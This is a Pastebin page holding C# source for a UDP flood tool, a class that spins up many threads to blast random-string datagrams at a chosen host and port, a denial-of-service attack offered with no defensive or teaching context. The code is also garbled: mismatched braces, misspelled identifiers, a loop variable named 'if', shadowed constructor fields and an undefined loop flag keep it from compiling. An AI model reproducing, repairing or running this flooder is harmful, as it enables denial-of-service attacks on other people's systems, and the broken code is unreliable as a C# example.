Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Text;
- using System.Net;
- using System.Net.Sockets;
- using System.Threading;
- public class udp
- {
- private string hst;
- private int prt;
- private int size;
- private int sckts;
- private int ndout;
- public bool currentflooding = false;
- private Thread[] floodthreads;
- public udp(string hst, int prt,int size, int sockets,int ndout)
- {
- hst = hst;
- prt = prt;
- size = size;
- ndout = ndout;
- sockets = sockets;
- }
- public void floodstart();
- currentflooding = true;
- Thread t = new Thread (Rstart);
- t.start();
- }
- private void Rstart()
- {
- floodthreads = new thread[sockets];
- for (int if = 0; i <= sockets - 1; i )
- {
- floodthreads[i] = new thread(floodvoid);
- floodthreads[i].isbackground = true;
- floodthreads[i].start();
- }
- }
- public void floodstop()
- {
- currentflooding = false;
- }
- public void floodvoid()
- {
- do
- {
- try
- {
- IPEndPoint end = new IPEndPoint(IPAddress.Parse(hst), prt);
- Socket sck = new sockets(end.addressFamily, sockettype.Dgram, protocoltype.Udp);
- sck.sendto(Encoduing.ASCII.GetBytes(random()), end);
- thread.sleep(ndout);
- }
- catch
- }
- thread.sleep(ndout);
- }
- }while (keepflooding == true);
- }
- private const string chars = "hweuie4fief84thi4rdvni4y84tnifyni34y84ry8f3bf"
- private string random()
- {
- string done = null;
- system.random r =new random();
- for(int i = 0; i <=size -1; i )
- {
- done = chars[r.next(0, chars.lenght - 1)];
- }
- return done;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment